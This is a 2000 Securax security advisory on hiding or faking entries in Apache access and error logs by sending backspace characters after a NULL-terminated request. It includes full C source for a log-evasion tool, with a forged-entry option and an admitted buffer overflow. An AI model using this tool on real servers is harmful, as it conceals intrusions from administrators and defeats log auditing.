=============================================================================
Securax-SA-12 Security
Advisory
belgian.networking.security
Dutch
=============================================================================
Topic: Remote hiding from access_log and error_log
Announced: 2000-12-28
Affects: Logfile auditing with tools that print the contents of the
file to the screen.
=============================================================================
Note: This entire advisory has been based upon trial and error
results. We can not ensure the information below is 100%
correct. This document is subject to change without prior
notice.
If you happen to find more information, solutions, ... about the
below problem or further varients please contact me on the
following email incubus@securax.org, or you can contact the
Securax crew by e-mail at info@securax.org.
I. Problem Description
-----------------------
When the backspace charachter is sent, after a NULL terminated
request, we will get a answer, the page we requested, but our entry in
the access_log file is kinda altered. We can overwrite our IP address
when someone wantsto cat the logfile to the screen or maybe also to a
device (such as: /dev/lp0), althougt.. this cat to 'devices' thing is
not tested by me, but will someone ever print his entire access_log? I
don't think so.
So, this can only be done when some site administrator is checking his
logs with 'cat' or 'tail' or such, which is often used in addition with
grep.
Example
-------
1.)
[incubus:~]$ nc 10.0.0.4 80
GET /index.php HTTP/1.0
<html>
<head>
...
content (output) of index.php
...
[incubus:~]$
2.)
[incubus:~]$ ./localghost 10.0.0.4 index.php
<html>
<head>
...
content (output) of index.php
...
[incubus:~]$
Hmm.. not very interesting eh? Well, let's take a look at the webserver's
side:
1.)
[root@test logs]# tail -n 1 access_log
10.0.0.2 - - [27/Dec/2000:04:42:26 +0100] "GET /index.php HTTP/1.0" 200
2362
/* 10.0.0.2 is the IP of the attacker */
2.)
[root@test logs]# tail -n 1 access_log
31.3.3.7 - - [31/Feb/1492:01:23:45 +3133] "GET /index.htm HTTP/1.1" 200
2362
Unfortunaltely, if you open access_log in any decent editor, it will notice
the '\x08' chars ( \x08 == backspace), and display 'em as dots.
If you want to display a fake ip address, you'll have to calculate the
length
of the entry in the log file. I suggest you keep the fake ipaddress as
*real*
as can be, because 31.3.3.7 is more suspicious than, let's say
207.46.230.229
II. Impact
----------
This is not really a vulnerability, but it can be used in cgi scanners
or something, i don't know. This source was coded and compiled on a
slack7 linux (2.2.17) box, and tested against a Apache 1.3.14 server.
/* --| BOF |-- */
/*
kosheen.c - hides you from logfiles
-----------------------------------
"i'll hide you, away from danger"; -kosheen, 2000
This will display false values in a remote site's access_log
and error_log. Read Securax Advisory #12 for more info.
(http://securax.org/pers/scx-sa-12.txt)
Got the title of this source from the radio, and guess what song
they were playing. :)
All my love to Tessa.
Maximum respect to vorlon, cicero, root-dude, lamagra, f0bic, Zoa,
zymo, sentinel, woshy, bob, suPC, uptx, and all great ppl i forgot...
by:
incubus
<incubus@securax.org>
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
int usage(char *progname);
int main(int argc, char **argv){
int sock, i;
char buf[4096]; /* change this value !! */
struct sockaddr_in sin;
struct hostent *he;
if (argc < 3) usage(argv[0]);
if ((he=gethostbyname(argv[1])) == NULL){
fprintf(stderr, "Unknown host\n\n");
exit(1);
}
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) herror("oops: ");
sin.sin_family = AF_INET;
sin.sin_addr = *((struct in_addr *)he->h_addr);
sin.sin_port = htons(80);
bzero(buf, sizeof(buf));
strncpy (buf,"GET /", 5);
strcat (buf, argv[2]); /* okay.. overflow this buffer and get a
errm.. crappy non-suid shell! :)
So, don't mailbomb me this is overflowable */
strncat (buf," HTTP/1.0\x00", 14);
for (i=0; i< 600; i++) strncat(buf,"\x08", 1); /* change the 600
if you are using
quiet large url's */
/*
Uncomment next line (and change) if you want a fake address displayed
strcat (buf,"31.3.3.7 - - [31/Feb/1492:01:23:45 +3133] \"GET /index.htm
HTTP/1.1");
*/
strncat (buf,"\r\n\r\n", 4);
if (connect(sock,(struct sockaddr *) &sin ,sizeof(sin)) < 0){
herror("connect() failed\n");
exit(1);
}
send(sock, buf, sizeof(buf), 0);
bzero(buf,sizeof(buf));
recv(sock, buf, sizeof(buf), 0);
printf ("%s", buf);
close(sock);
}
int usage(char *progname)
{
fprintf (stderr, "\nHmm.. Better use it like this: \n");
fprintf (stderr, "\t%s <server> <page>\n", progname);
fprintf (stderr, "\tWhere: <server> is the hostname.\n\t ");
fprintf (stderr, "<page> is the file you want.\n");
fprintf (stderr, " by incubus\n <incubus@securax.org>\n");
exit(1);
}
/* --| EOF |-- */
III. possible workarounds
-------------------------
possible workarounds :: - Don't use 'cat' and 'tail' (and similars) for
logfile checking, but a good editor.
IV credits
----------
As mentioned in the .c file:
Tessa, vorlon, cicero, zoa, F_F, rootdude, t-omicr0n, toshywoshy, segfault,
f0bic, lamagra, steven, zymot1c, sentinel, [--bob--], alien, axxess, telar,
prizm, {} and devilish.
Also greets to the many, many people i forgot to mention.
hmm.. kinda thanks to the people of kosheen for the name. :)
incubus (incubus@securax.org).
============================================================================
For more information
incubus@securax.org
Website
http://www.securax.org
Advisories/Text
http://www.securax.org/pers
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